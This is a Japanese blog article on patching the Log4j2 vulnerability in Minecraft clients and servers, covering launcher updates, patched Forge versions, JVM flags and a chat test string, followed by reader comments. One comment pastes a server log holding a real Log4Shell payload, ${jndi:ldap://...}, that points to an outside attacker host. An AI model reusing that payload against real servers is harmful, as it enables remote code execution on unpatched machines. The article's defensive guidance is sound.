揚げたてのポテト
ポテコちゃん
揚げたてのポテト
先日、Log4j2の脆弱性に関する問題が話題になりましたね。
ポテコちゃん
揚げたてのポテト
マイクラにも大きく関わる問題なので、確認しながら見ていきましょう。今回はよく分からない人のために対応方法をまとめてみました。
当記事では、Log4j2の脆弱性に関する問題でマインクラフトでの対応方法をまとめた記事になります。
目次
Log4j2問題って何?
ポテコちゃん
マインクラフトでは、「Log4j2」というログを出力するプログラムが使われています。
今回、このLog4j2にて重大な脆弱性が発見されたため、大きく話題になりました。
脆弱性とは、プログラムの不具合や設計上のミスが原因となって発生したセキュリティ上の欠陥のこと
2021年12月10日にMinecraftの関連団体よりクライアント及びサーバーに関する重大な脆弱性が見つかったとの警告が発表されました。
マインクラフトでは、この脆弱性を悪用することで、任意のリモートコードを実行できてしまう例が報告されています。
要するに任意のコードを実行させると最悪パソコン操作もできてしまうという重大な問題 です。
そのため、マインクラフトではこの問題に対応するべく、クライアント側やサーバー側で対処する必要 があります。
このLog4j2問題はほぼ全てのバージョン、全プレイヤーが対象となるので必ず対処する必要があります。
公式クライアントの対処方法
公式クライアント(公式ランチャー)では、2021年12月10日以降よりLog4j2問題に対するパッチ(修正プログラム)が更新されました。
このパッチは、公式ランチャーを起動すれば自動的にパッチが適用される のでクライアント側の対処方法はこれで完了です。
そのため、以前と同じく好きなバージョンで遊ぶことができる ようになりました。
【追記】新ランチャーや旧ランチャーでも対応しているとのこと
あわせて読みたい
【マイクラ】新ランチャーへのアップグレード方法【新ランチャー】
どうもこんにちわ、揚げたてのポテトです。 2021年11月2日よりマイクラランチャーのアップグレードが表示されるようになりました。本日はマイクラランチャーのアップグ…
Forgeクライアントの対応方法
次にMODで遊ぶ際に主にForgeを導入してプレイすると思います。
その時に公式クライアントではなく、Forgeクライアントになるので上記の対策が適用されません。
そのため、Forgeをダウンロードするときにパッチが適用されたForgeをダウンロードする必要があります。
揚げたてのポテト
以下にバージョンごとにまとめたので参考にしてください。
1.18.1以降:最初からパッチ適用 1.18 :バージョン38.0.17以降よりパッチ適用1.17.1 :バージョン37.1.1以降よりパッチ適用1.16.5 :バージョン36.2.20以降よりパッチ適用1.15.2 :バージョン31.2.57以降よりパッチ適用1.14.4 :バージョン28.2.25以降よりパッチ適用1.13.2 :バージョン25.0.222以降よりパッチ適用1.12.2 :バージョン2-14.23.5.2857以降よりパッチ適用
1.11.2以下のバージョンは現時点ではパッチはありません。
サーバー側の対処方法
マイクラサーバーでは、バニラサーバーやプラグインサーバー、MODサーバーによってそれぞれ対処方法が異なりますので、注意してください。
バージョン1.18.1以降は既にパッチが適用されているので特に対処する必要はありません。
Minecraft Realmsも既にパッチが適用されています。
バニラサーバー(公式サーバー)の場合
バニラサーバーはマイクラ公式からダウンロードするサーバー(公式サーバー)のことです。
あわせて読みたい
【1.19.4対応】誰でも簡単にマイクラサーバーの立て方を紹介【バニラサーバー 編】
2023年4月29日より当記事は「公式サーバー編」から「バニラサーバー編」にタイトルを変更して、利用者に合わせたマイクラサーバーの立て方ができるように1から書き直し…
各バージョンの対処方法
バッチファイルに追加記述とjarファイル名を変更することで動作します。
バージョン1.17~1.18
バッチファイルの記述に「-Dlog4j2.formatMsgNoLookups=true」を追加 する必要があります。
コード
@echo off java -Xmx1024M -Xms1024M -Dlog4j2.formatMsgNoLookups=true -jar server-1.17.jar nogui pause
バージョン1.12~1.16.5
「log4j2_112-116.xml 」というXMLファイルを作成 し、サーバーフォルダに設置する必要があります。
その後、バッチファイルに「-Dlog4j.configurationFile=log4j2_112-116.xml」を追加 する必要があります。
log4j2_112-116.xml|ダウンロード
コード
@echo off java -Xmx1024M -Xms1024M -Dlog4j.configurationFile=log4j2_112-116.xml -jar server-1.12.jar nogui pause
バージョン1.7~1.11.2
「log4j2_17-111.xml 」というXMLファイルを作成 し、サーバーフォルダに設置する必要があります。
その後、バッチファイルに「-Dlog4j.configurationFile=log4j2_17-111.xml」を追加 する必要があります。
コード
@echo off java -Xmx1024M -Xms1024M -Dlog4j.configurationFile=log4j2_17-111.xml -jar server-1.8.8.jar nogui pause
バージョン1.7以下
1.7以下のバージョンはlog4j脆弱性の影響がありませんので特に対処する必要はありません。
プラグインサーバー(SpigotMC/PaperMC)の場合
プラグインサーバーはそれぞれのバージョンによって最新のビルドにすることでパッチが適用されています。
あわせて読みたい
【最新版対応】誰でも簡単にマイクラプラグインサーバーの立て方【SpigotMC/ PaperMC】
どうもこんにちわ、揚げたてのポテトです。 どうもー!助手のポテコちゃんです! 前回はバニラサーバーである公式サーバーの立て方について紹介しましたね。 初めてだっ…
投稿が見つかりません。
SpigotMCの場合
1.8.8以降のバージョンの最新のビルドをすることでパッチが適用されます。
非公式で入手できるGetBukkit だと最新のビルドには対応していない可能性があるので、必ず各自でビルドを行ってください。
あわせて読みたい
【マイクラ】SpigotMCサーバーのビルド方法
どうもこんにちわ、揚げたてのポテトです。 どうもー!助手のポテ子ちゃんです! 今回は、前回のプラグインサーバーの立て方【SpigotMC 編】で出てきたビルド方法につい…
PaperMCの場合
MODサーバー(Forge)の場合
ForgeにおいてもLog4j2問題のパッチ適用されているバージョンを使うように してください。
あわせて読みたい
【最新版対応】マイクラMODサーバーの立て方【Forge 編】
どうもこんにちは、揚げたてのポテトです! どうもー!助手のポテコちゃんです! みなさん!MODで遊ぶの好きですよね~でも1人で遊ぶのも飽きてきて、そろそろ他の人と…
1.18.1以降:最初からパッチ適用 1.18 :バージョン38.0.17以降よりパッチ適用1.17.1 :バージョン37.1.1以降よりパッチ適用1.16.5 :バージョン36.2.20以降よりパッチ適用1.15.2 :バージョン31.2.57以降よりパッチ適用1.14.4 :バージョン28.2.25以降よりパッチ適用1.13.2 :バージョン25.0.222以降よりパッチ適用1.12.2 :バージョン2-14.23.5.2857以降よりパッチ適用
1.11.2以下のバージョンは現時点ではパッチはありません。
プロキシサーバー(Waterfall/Velocity/VanillaCord)の場合
プロキシサーバーではBungeeCordもありますが、BungeeCordはLog4j2問題に影響されません。
その他のプロキシサーバーの対処方法を紹介します。
あわせて読みたい
【マイクラ】複数サーバー間を移動できるサーバーの立て方【BungeeCord・Waterfall・Velocity対応】
どうもこんにちは、揚げたてのポテトです。 どうもー!助手のポテコちゃんです! 皆さん、海外のマルチサーバー等に参加した時に全く違うワールドに移動するのを経験し…
Waterfallの場合
Velocity
VanillaCord
対象バージョンのビルド後、バニラサーバーの同じ対処手順で行う。
\ 当サイトがおすすめしたいレンタルサーバー/
Xserver VPS 解説記事はこちら バニラサーバーが自動構築 ですぐ遊べる 大手他社より3~4倍のサーバー性能&高速回線 を提供 マイクラサーバーの設定が初心者でも分かりやすい 4GBプラン:月額2,200円/8GBプラン:月額4,400円ConoHa for GAME 解説記事はこちら バニラ/MODが自動構築 ですぐ遊べる 初回利用は800円クーポン が貰える 1ヶ月以上利用する方は長期割引パスの料金がおトク 4GBプラン:月額2,408円/8GBプラン:月額4,828円Agames 解説記事はこちら バニラ/MOD/プラグインが自動構築ですぐ遊べる 学割で月額料金から15%~25%割引で利用可能 マイクラサーバーに詳しいサポーターが充実 4GBプラン:月額1,900円/8GBプラン:月額2,800円
レンタルサーバーはこんな人におすすめ!
「パソコンの性能(スペック)が足りない」
「ポート開放が上手くできない」
「難しくてよく分からない」
揚げたてのポテト
当サイトでは、上記のレンタルサーバーを徹底解説している ので初めての方でも分かりやすいと好評です!
脆弱性の確認方法
きちんと対策できているか不安の方は以下のコードをマイクラチャットで実行して確認することができます。
${date:YYYY}
上記のコマンドを「/(スラッシュ)」入れずにそのまま送信してください。
この時に「2022」(現在の西暦)と表示されなければ対策できています。
最後に
取り急ぎまとめた記事なので説明不足な部分もあるかと思いますが、改めて追記や修正を行いたいと思います。
Log4j2の脆弱性は大変危険な問題です。
サーバー運営してる人やマルチプレイで良く遊ぶ人は必ず対処を行いましょう!
揚げたてのポテト
最後まで読んでいただきありがとうございました。 次回の記事でお会いしましょう!
更新の止まった古いプラグインって使ってても大丈夫ですかね?
PaperMCver1.16未満は
パッチが適用されていないそうですが
PaperMCでLog4j2の
対策をする方法は無いのですか?
1.18.1-39.0.0でConohaでForgeサーバーをたててます、1日立てっぱなしにしてたら [User Authenticator #2/INFO]: UUID of player FermatSleep is xxxxxx
[01:13:20] [Server thread/INFO]: Using new advancement loading for net.minecraft.server.PlayerAdvancements@3xxxxx
[01:13:20] [Server thread/INFO]: FermatSleep[/xxxxx] logged in with entity id 3512 at (xxxxxx)
[01:13:20] [Server thread/INFO]: FermatSleep joined the game
[01:13:21] [Server thread/INFO]: ${jndi:ldap://185.233.105.120:1389/a}
[01:13:22] [Server thread/INFO]: FermatSleep lost connection: Disconnected
[01:13:22] [Server thread/INFO]: FermatSleep left the game
みたいなログが残ってました。log4j?かなにかをされたと思うのですが具体的に何をされたか、何かされていた場合どう対処すればいいかわかりませんか?( ; ; )
現在1.16.5のmod入りサーバーで遊んでいます。
ランチャーとforgeを最新のものに更新し、公式のJVM引数もコピペ済みなのですが、アップデートなど行われていないMODを入れるのは避けるべきでしょうか?
mohistはもうパッチきましたか?